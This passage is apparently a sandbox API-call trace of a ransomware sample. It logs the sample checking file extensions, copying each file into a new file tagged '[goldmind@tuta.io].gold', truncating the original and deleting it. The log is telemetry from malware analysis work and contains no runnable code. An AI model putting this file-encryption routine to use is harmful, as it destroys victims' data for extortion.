(lpString1=".7z", lpString2="EXE") returned -1 [0046.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0046.746] lstrlenW (lpString=".dbf") returned 4 [0046.746] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0046.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0046.746] lstrlenW (lpString=".1cd") returned 4 [0046.746] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0046.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0046.746] lstrlenW (lpString=".jpg") returned 4 [0046.746] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0046.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0046.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0046.746] lstrlenW (lpString=".doc") returned 4 [0046.746] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0046.746] lstrlenW (lpString=".docx") returned 5 [0046.746] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0046.746] lstrlenW (lpString=".pdf") returned 4 [0046.746] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0046.746] lstrlenW (lpString=".xls") returned 4 [0046.746] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0046.746] lstrlenW (lpString=".xlsx") returned 5 [0046.746] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0046.747] lstrlenW (lpString=".ppt") returned 4 [0046.747] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0046.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0046.747] lstrlenW (lpString=".zip") returned 4 [0046.747] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0046.747] lstrlenW (lpString=".rar") returned 4 [0046.747] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0046.747] lstrlenW (lpString=".bz2") returned 4 [0046.747] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0046.747] lstrlenW (lpString=".7z") returned 3 [0046.747] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0046.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0046.747] lstrlenW (lpString=".dbf") returned 4 [0046.747] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0046.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0046.747] lstrlenW (lpString=".1cd") returned 4 [0046.747] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0046.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0046.747] lstrlenW (lpString=".jpg") returned 4 [0046.747] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0046.747] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0046.747] lstrlenW (lpString="MSOEURO.DLL") returned 11 [0046.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0046.747] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=31104) returned 1 [0046.747] CloseHandle (hObject=0x188) returned 1 [0046.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0046.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0046.748] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.748] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.748] GetLastError () returned 0x0 [0046.748] ReadFile (in: hFile=0x188, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x7980, lpOverlapped=0x0) returned 1 [0046.750] WriteFile (in: hFile=0x208, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x7990, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0x7990, lpOverlapped=0x0) returned 1 [0046.751] ReadFile (in: hFile=0x188, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.751] WriteFile (in: hFile=0x208, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.751] SetEndOfFile (hFile=0x208) returned 1 [0046.751] CloseHandle (hObject=0x208) returned 1 [0046.751] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.751] SetEndOfFile (hFile=0x188) returned 1 [0046.752] CloseHandle (hObject=0x188) returned 1 [0046.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.752] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 1 [0046.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0046.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0046.752] lstrlenW (lpString=".doc") returned 4 [0046.752] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0046.752] lstrlenW (lpString=".docx") returned 5 [0046.752] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0046.752] lstrlenW (lpString=".pdf") returned 4 [0046.752] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0046.752] lstrlenW (lpString=".xls") returned 4 [0046.752] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0046.752] lstrlenW (lpString=".xlsx") returned 5 [0046.753] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0046.753] lstrlenW (lpString=".ppt") returned 4 [0046.753] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0046.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0046.753] lstrlenW (lpString=".zip") returned 4 [0046.753] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0046.753] lstrlenW (lpString=".rar") returned 4 [0046.753] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0046.753] lstrlenW (lpString=".bz2") returned 4 [0046.753] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0046.753] lstrlenW (lpString=".7z") returned 3 [0046.753] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0046.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0046.753] lstrlenW (lpString=".dbf") returned 4 [0046.753] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0046.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0046.753] lstrlenW (lpString=".1cd") returned 4 [0046.753] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0046.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0046.753] lstrlenW (lpString=".jpg") returned 4 [0046.753] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0046.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0046.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0046.753] lstrlenW (lpString=".doc") returned 4 [0046.753] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0046.753] lstrlenW (lpString=".docx") returned 5 [0046.753] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0046.753] lstrlenW (lpString=".pdf") returned 4 [0046.753] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0046.753] lstrlenW (lpString=".xls") returned 4 [0046.753] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0046.753] lstrlenW (lpString=".xlsx") returned 5 [0046.753] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0046.753] lstrlenW (lpString=".ppt") returned 4 [0046.753] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0046.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0046.753] lstrlenW (lpString=".zip") returned 4 [0046.753] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0046.753] lstrlenW (lpString=".rar") returned 4 [0046.753] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0046.753] lstrlenW (lpString=".bz2") returned 4 [0046.753] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0046.753] lstrlenW (lpString=".7z") returned 3 [0046.753] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0046.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0046.753] lstrlenW (lpString=".dbf") returned 4 [0046.753] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0046.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0046.753] lstrlenW (lpString=".1cd") returned 4 [0046.753] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0046.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0046.753] lstrlenW (lpString=".jpg") returned 4 [0046.753] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0046.754] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0046.754] lstrlenW (lpString="msgfilt.dll") returned 11 [0046.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0046.754] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=38768) returned 1 [0046.754] CloseHandle (hObject=0x188) returned 1 [0046.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0046.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0046.755] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.755] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.756] GetLastError () returned 0x0 [0046.756] ReadFile (in: hFile=0x188, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x9770, lpOverlapped=0x0) returned 1 [0046.758] WriteFile (in: hFile=0x208, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0x9780, lpOverlapped=0x0) returned 1 [0046.759] ReadFile (in: hFile=0x188, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.759] WriteFile (in: hFile=0x208, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.759] SetEndOfFile (hFile=0x208) returned 1 [0046.759] CloseHandle (hObject=0x208) returned 1 [0046.759] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.759] SetEndOfFile (hFile=0x188) returned 1 [0046.760] CloseHandle (hObject=0x188) returned 1 [0046.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.760] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 1 [0046.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0046.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0046.761] lstrlenW (lpString=".doc") returned 4 [0046.761] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.761] lstrlenW (lpString=".docx") returned 5 [0046.761] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0046.761] lstrlenW (lpString=".pdf") returned 4 [0046.761] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.761] lstrlenW (lpString=".xls") returned 4 [0046.761] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.761] lstrlenW (lpString=".xlsx") returned 5 [0046.761] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0046.761] lstrlenW (lpString=".ppt") returned 4 [0046.761] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0046.761] lstrlenW (lpString=".zip") returned 4 [0046.761] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.761] lstrlenW (lpString=".rar") returned 4 [0046.761] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.761] lstrlenW (lpString=".bz2") returned 4 [0046.761] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.761] lstrlenW (lpString=".7z") returned 3 [0046.761] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0046.761] lstrlenW (lpString=".dbf") returned 4 [0046.761] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0046.761] lstrlenW (lpString=".1cd") returned 4 [0046.761] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0046.761] lstrlenW (lpString=".jpg") returned 4 [0046.761] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0046.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0046.761] lstrlenW (lpString=".doc") returned 4 [0046.761] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.761] lstrlenW (lpString=".docx") returned 5 [0046.761] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0046.761] lstrlenW (lpString=".pdf") returned 4 [0046.761] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.761] lstrlenW (lpString=".xls") returned 4 [0046.761] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.761] lstrlenW (lpString=".xlsx") returned 5 [0046.761] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0046.761] lstrlenW (lpString=".ppt") returned 4 [0046.761] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0046.761] lstrlenW (lpString=".zip") returned 4 [0046.761] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.762] lstrlenW (lpString=".rar") returned 4 [0046.762] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.762] lstrlenW (lpString=".bz2") returned 4 [0046.762] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.762] lstrlenW (lpString=".7z") returned 3 [0046.762] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0046.762] lstrlenW (lpString=".dbf") returned 4 [0046.762] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0046.762] lstrlenW (lpString=".1cd") returned 4 [0046.762] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0046.762] lstrlenW (lpString=".jpg") returned 4 [0046.762] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.762] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0046.762] lstrlenW (lpString="odffilt.dll") returned 11 [0046.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0046.763] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=1312656) returned 1 [0046.763] CloseHandle (hObject=0x188) returned 1 [0046.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0046.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0046.763] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.763] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.763] GetLastError () returned 0x0 [0046.763] ReadFile (in: hFile=0x188, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0046.786] WriteFile (in: hFile=0x208, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0047.578] ReadFile (in: hFile=0x188, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x407a0, lpOverlapped=0x0) returned 1 [0047.587] WriteFile (in: hFile=0x208, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x407b0, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0x407b0, lpOverlapped=0x0) returned 1 [0047.592] ReadFile (in: hFile=0x188, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.592] WriteFile (in: hFile=0x208, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.592] SetEndOfFile (hFile=0x208) returned 1 [0047.592] CloseHandle (hObject=0x208) returned 1 [0047.592] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.592] SetEndOfFile (hFile=0x188) returned 1 [0047.594] CloseHandle (hObject=0x188) returned 1 [0047.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.595] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 1 [0047.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0047.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0047.595] lstrlenW (lpString=".doc") returned 4 [0047.595] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.595] lstrlenW (lpString=".docx") returned 5 [0047.595] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0047.595] lstrlenW (lpString=".pdf") returned 4 [0047.595] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.595] lstrlenW (lpString=".xls") returned 4 [0047.595] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0047.595] lstrlenW (lpString=".xlsx") returned 5 [0047.595] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0047.595] lstrlenW (lpString=".ppt") returned 4 [0047.595] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0047.595] lstrlenW (lpString=".zip") returned 4 [0047.595] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0047.595] lstrlenW (lpString=".rar") returned 4 [0047.595] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0047.595] lstrlenW (lpString=".bz2") returned 4 [0047.595] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.595] lstrlenW (lpString=".7z") returned 3 [0047.595] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0047.595] lstrlenW (lpString=".dbf") returned 4 [0047.595] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0047.595] lstrlenW (lpString=".1cd") returned 4 [0047.595] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0047.595] lstrlenW (lpString=".jpg") returned 4 [0047.595] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0047.596] lstrlenW (lpString="C:\\Program 